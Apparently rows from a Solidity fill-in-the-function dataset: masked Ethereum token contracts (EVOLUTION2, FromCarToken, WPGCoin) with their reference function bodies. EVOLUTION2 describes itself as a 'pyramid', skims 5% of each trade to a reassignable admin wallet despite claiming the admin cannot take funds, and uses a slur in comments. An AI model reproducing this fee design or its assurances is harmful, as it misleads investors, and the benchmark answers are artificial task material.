payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{<FILL_FUNCTION_BODY> }
/**
* Transfer tokens from the caller to a new holder.
* 0% fee.
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
/**
* redistribution of dividends
*/
function redistribution()
external
payable
{
// setup
uint256 ethereum = msg.value;
// disperse ethereum among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (ethereum * magnitude) / tokenSupply_);
// fire event
emit OnRedistribution(ethereum, block.timestamp);
//--4
}
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(address _newInvestor)
onlyAdministrator()
external
{
investor = _newInvestor;
}
/**
* Precautionary measures in case we need to adjust the masternode rate.
*/
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function disableWhitelist() external {
require(whitelisted_[msg.sender] == true);
whitelist_ = false;
}
function activateWhitelist() external {
require(whitelisted_[msg.sender] == true);
whitelist_ = true;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
//As long as the whitelist is true, only whitelisted people are allowed to buy.
// if the person is not whitelisted but whitelist is true/active, revert the transaction
if (whitelisted_[msg.sender] == false && whitelist_ == true) {
revert();
}
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _investmentEth = SafeMath.div(_incomingEthereum, 20); // 5% investment fee
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, (_undividedDividends+_investmentEth));
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
investor.transfer(_investmentEth); // send 5% to the investor wallet
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
} | contract EVOLUTION2 {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrator can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
require(msg.sender == investor);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event OnRedistribution ( //--4
uint256 amount,
uint256 timestamp
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "EVO2"; //Silentflame changed the token
string public symbol = "EVO2"; //Silentflame changed the token
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 5 tokens)
uint256 public stakingRequirement = 5e18;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(address => bool) internal whitelisted_; // fvrr3
bool internal whitelist_ = true; // fvrr3 whitelist is automatically activated
address public investor;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
constructor()
public
{
investor = 0x8e97F9338460B0d33BD6452A558Ae43284805B5C; //Silentflame Goes to the new wallet as requested
whitelisted_[0x8e97F9338460B0d33BD6452A558Ae43284805B5C] = true; //Silentflame changed the admin lock to the new wallet as requested
}
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
<FILL_FUNCTION>
/**
* Transfer tokens from the caller to a new holder.
* 0% fee.
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
/**
* redistribution of dividends
*/
function redistribution()
external
payable
{
// setup
uint256 ethereum = msg.value;
// disperse ethereum among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (ethereum * magnitude) / tokenSupply_);
// fire event
emit OnRedistribution(ethereum, block.timestamp);
//--4
}
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(address _newInvestor)
onlyAdministrator()
external
{
investor = _newInvestor;
}
/**
* Precautionary measures in case we need to adjust the masternode rate.
*/
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function disableWhitelist() external {
require(whitelisted_[msg.sender] == true);
whitelist_ = false;
}
function activateWhitelist() external {
require(whitelisted_[msg.sender] == true);
whitelist_ = true;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
//As long as the whitelist is true, only whitelisted people are allowed to buy.
// if the person is not whitelisted but whitelist is true/active, revert the transaction
if (whitelisted_[msg.sender] == false && whitelist_ == true) {
revert();
}
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _investmentEth = SafeMath.div(_incomingEthereum, 20); // 5% investment fee
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, (_undividedDividends+_investmentEth));
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
investor.transfer(_investmentEth); // send 5% to the investor wallet
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
} |
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _investmentEth = SafeMath.div(_ethereum, 20); // 5% investment fee
uint256 _taxedEthereum = SafeMath.sub(_ethereum, (_dividends+_investmentEth));
investor.transfer(_investmentEth); // send 5% to the investor wallet
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum);
| function sell(uint256 _amountOfTokens)
onlyBagholders()
public
| /**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
|
1473 | FromCarToken | FromCarToken | contract FromCarToken is StandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function FromCarToken() {<FILL_FUNCTION_BODY> }
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | contract FromCarToken is StandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; <FILL_FUNCTION>
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} |
balances[msg.sender] = 3000000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = 3000000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS)
name = "FROMCAR TOKEN"; // Set the name for display purposes (CHANGE THIS)
decimals = 18; // Amount of decimals for display purposes (CHANGE THIS)
symbol = "FCR"; // Set the symbol for display purposes (CHANGE THIS)
fundsWallet = msg.sender; // The owner of the contract gets ETH
| function FromCarToken() | // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function FromCarToken() |
27982 | WPGCoin | freezeAccount | contract WPGCoin is owned, WPGBaseCoin {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor (uint256 initialSupply, string tokenName, string tokenSymbol) WPGBaseCoin(initialSupply, tokenName, tokenSymbol) public {
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0, "Do not send to 0x0");
require (balanceOf[_from] >= _value, "Sender balance is too small");
require (balanceOf[_to] + _value >= balanceOf[_to], "balanceOf[_to] Overflow Error");
require(!frozenAccount[_from], "From Account is Frozen");
require(!frozenAccount[_to], "To Acoount is Frozen");
//balanceOf[_from] -= _value;
balanceOf[_from] = balanceOf[_from].sub(_value);
//balanceOf[_to] += _value;
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) public onlyOwner {
//balanceOf[target] += mintedAmount;
balanceOf[target] = balanceOf[target].add(mintedAmount);
//totalSupply += mintedAmount;
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
